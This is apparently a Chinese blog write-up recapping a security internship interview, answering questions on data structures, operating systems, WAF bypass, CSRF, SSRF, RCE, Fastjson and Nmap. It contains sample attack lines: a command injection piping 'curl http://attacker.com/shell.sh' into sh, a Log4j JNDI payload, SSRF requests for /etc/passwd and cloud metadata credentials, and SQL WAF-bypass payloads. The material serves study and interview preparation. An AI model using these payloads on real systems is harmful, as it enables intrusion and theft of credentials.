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目录

 某四字大厂实习面试复盘 一面 三面

一、CSRF原理及攻防解析

二、SSRF漏洞实战场景分析

三、RCE漏洞利用全景透视

四、文件上传漏洞减少的深层原因

五、基于语义分析的WAF技术解析

总结与演进方向

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 某四字大厂实习面试复盘 一面 三面

一面
数组和链表各自的优势和原因
操作系统层面解析和进程
线程和进程通信方式以及数据安全问题
线程和多进程的选用场景以及原因
SQL注入绕waf方式
FUZZ绕WAF的payload长度通常十多少
不查资料不能测试直接写IPV4的正则
fastjson的反序列化原理
Java反射机制会导致怎么样的安全问题
XSS和CSRF的相同点以及如何配合利用
CSRF_TOKEN的位置以及原理和绕过
尽可能多说你所知道的HTTP头
Nmap常见扫描方式的原理以及NSE脚本原理

一、数据结构基础

1. 数组与链表对比 优势对比： 数组（时间复杂度）：

• 随机访问O(1)：连续内存地址计算
• 尾部插入O(1)，中间插入O(n)：需整体移位
• 缓存友好性：利用空间局部性原理

链表（空间特性）：

• 动态扩展：节点离散存储
• 插入删除O(1)：指针重定向操作
• 内存碎片：非连续存储导致缓存命中率降低

二、操作系统核心机制

1. 进程管理

• 地址空间隔离：通过MMU实现虚拟内存映射
• 上下文切换成本：需保存寄存器状态（约1-10μs）
• 进程调度算法：CFS（完全公平调度器）使用红黑树管理

三、并发编程模型

1. 通信方式对比 进程通信（IPC）：

• 共享内存（mmap）：需配合信号量同步
• 管道（半双工）：内核缓冲区实现
• 消息队列：POSIX标准最大长度8192字节

线程同步：

• CAS原子操作：实现无锁数据结构
• 内存屏障：解决指令重排序问题
• ThreadLocal原理：基于线程ID的哈希表

四、安全攻防技术

1. SQL注入突破方案 绕WAF技术栈：

• 字符编码变形：HEX/Unicode/URL编码混合
• 语句拆分：利用MySQL的/!版本号/特性
• 分块传输编码：结合Transfer-Encoding头
• 时间盲注优化：BENCHMARK(5000000,MD5(1))

1. FUZZ载荷长度

• 黄金分割区间：512-4096字节（多数WAF检测阈值）
• 分片策略：通过Range头分段发送
• 填充技巧：添加无意义注释/!00000a/

五、协议与正则 IPv4正则表达式（无需测试版）： ^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ 注：该表达式未处理前导零问题

六、Java安全机制

1. Fastjson反序列化 漏洞模式链： JNDI注入路径：通过AutoType机制加载恶意类 防御演进：从黑白名单到SafeMode模式 最新绕过：利用ExpectClass机制的类型混淆

2. 反射安全风险 攻击面示例：

• 修改AccessibleObject.override 标志
• 调用MethodHandle.invokeExact
• 破坏安全管理器：System.setSecurityManager(null)

七、Web安全纵深

1. XSS与CSRF协同利用 组合攻击模式：

• 通过存储型XSS劫持CSRF Token
• 利用CORS漏洞实现跨域CSRF
• 配合Clickjacking进行UI覆盖攻击

1. CSRF_TOKEN防护体系 存储位置演化：

• Cookie（HttpOnly+SameSite）
• 双重提交模式：表单字段+自定义头 绕过技术：
• DNS重绑定攻击
• 利用XSS读取Token
• 跨域资源共享漏洞（CORS配置不当）

八、HTTP协议全景 关键头部全集（分类说明）： 安全类：

• Content-Security-Policy（CSP策略）
• Strict-Transport-Security（HSTS）
• X-Content-Type-Options（MIME嗅探防御）

性能类：

• HTTP/2 Server Push（服务端推送）
• Early-Data（0-RTT风险）
• Accept-Encoding（Brotli压缩）

认证类：

• Authorization: Bearer（OAuth2）
• WWW-Authenticate: Negotiate（Kerberos）
• X-Requested-With（AJAX标识）

九、网络侦查技术 Nmap核心技术解析：

1. 扫描类型矩阵

• TCP SYN扫描（半开式扫描）：发送SYN包检测响应
• ACK扫描（防火墙探测）：观察TTL值变化
• 空闲扫描（IPID预测）：利用僵尸主机隐蔽扫描

1. NSE脚本引擎 架构特性：

• 阶段式执行：预扫描/扫描/后扫描
• 协程机制：支持异步网络操作
• 漏洞检测模板：match/version/exploit类别

典型脚本分析： http-sqli检测逻辑：基于响应时间差异判断盲注 smb-vuln-ms17-010：检测永恒之蓝漏洞

三面
CSRF原理
结合实际的例子说说SSRF
结合实际的例子说说RCE
为什么现在文件上传很少了
基于语义分析的WAF了解吗

一、CSRF原理及攻防解析

原理本质
跨站请求伪造（CSRF）的核心在于利用浏览器自动携带用户凭证的特性，诱导用户触发非预期的敏感操作。攻击链包含三个关键环节：

1. 用户登录目标网站（如银行系统），Cookie保持有效
2. 用户访问恶意页面，该页面自动发送构造好的请求（如转账指令）
3. 浏览器自动附加Cookie，服务器误认为是合法操作

经典案例
某电商平台的修改收货地址接口未做CSRF防护，攻击者构造如下页面：html

<img src="https://mall.com/address/update?address=attacker_addr" width="0" height="0">

用户访问该页面后，收货地址被静默修改，后续订单将发往攻击者地址。

防御体系

• SameSite Cookie：设置SameSite=Strict阻断跨域携带
• Token验证：表单中嵌入动态Token（如UUID+时间戳哈希）
• 二次确认：关键操作需密码/短信验证（如转账金额阈值）

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二、SSRF漏洞实战场景分析

漏洞成因
服务端未对用户提供的URL进行合法性校验，导致攻击者操控服务器发起任意网络请求。

典型案例

1. 云环境元数据泄露
   攻击者利用Web应用中的URL处理功能，构造请求：

http://internal-service/api/fetch?url=http://169.254.169.254/latest/meta-data/  

服务器访问AWS元数据接口，返回IAM凭证等敏感信息。

1. 内网服务探测
   某OA系统的文件导入功能支持远程URL，攻击者使用：

file:///etc/passwd  # 读取系统文件 
dict://127.0.0.1:6379/info  # 探测Redis服务 

成功获取服务器敏感配置。

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三、RCE漏洞利用全景透视

漏洞模式

1. 命令注入
   某网络设备管理界面存在未过滤的ping功能python

os.system("ping -c 4 " + user_input)

输入8.8.8.8; curl http://attacker.com/shell.sh | sh，实现远程控制。

1. 反序列化攻击
   Log4j漏洞（CVE-2021-44228）中，攻击者构造日志内容：java

logger.error("${jndi:ldap://attacker.com/Exploit}")

触发JNDI注入，加载远程恶意类执行任意代码。

防御纵深

• 输入白名单验证（如仅允许数字和.）
• 使用ProcessBuilder替代Runtime.exec
• 沙箱隔离（Docker容器、Seccomp过滤）

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四、文件上传漏洞减少的深层原因

技术演进

1. 框架自动化防护
   现代框架（如Spring、Django）内置安全处理：java

// Spring示例：自动检测文件类型 @PostMapping("/upload") public String handleUpload(@RequestParam MultipartFile file) { if (!file.getContentType().equals("image/jpeg")) { throw new InvalidFileException(); } }

1. 云原生架构变革

• 文件存储分离：直传OSS/S3，避免服务器处理
• Serverless无状态：上传链路由云厂商托管
• 内容安全扫描：阿里云内容安全API实时检测恶意文件

1. 防御技术升级

• 文件头校验（Magic Number检测）
• 动态渲染检测：通过Docker沙箱执行文件验证
• 哈希黑名单：维护已知恶意文件特征库

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五、基于语义分析的WAF技术解析

与传统规则库的差异

维度	传统WAF	语义分析WAF
检测方式	正则匹配	抽象语法树分析
绕过难度	易（编码变形）	难（理解语义）
误报率	高	低（上下文感知）

实现原理

1. 请求解析引擎

• 对HTTP请求进行语法解析，构建参数结构树
• 识别参数上下文（如JSON字段、XML节点）

1. 语义推理模型

• SQL注入检测：解析生成AST，判断是否改变原查询意图
• RCE检测：分析命令执行链是否符合业务场景

实战案例
某WAF对以下混淆攻击的识别：sql

SELECT/*!88888cas*/ * FROM users WHERE id=1 UNION/**/SELECT 1,version()

语义引擎：

1. 标准化处理（去除注释、统一空格）
2. 识别出UNION SELECT version()结构
3. 结合上下文判断该查询不符合业务逻辑（用户查询不应包含版本探测）

绕过挑战

• 需构造符合业务语义的恶意请求（如利用时间盲注模拟正常分页查询）
• 依赖0day漏洞利用（现有语义模型未覆盖的新型攻击模式）

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总结与演进方向

当前网络安全防御呈现「动态对抗」特征：

• 攻击方：转向逻辑漏洞、供应链攻击等新型向量
• 防御方：结合AI语义分析、硬件可信执行环境（TEE）构建纵深防御
• 未来焦点：API安全、云原生架构安全、AI模型自身攻防等新兴领域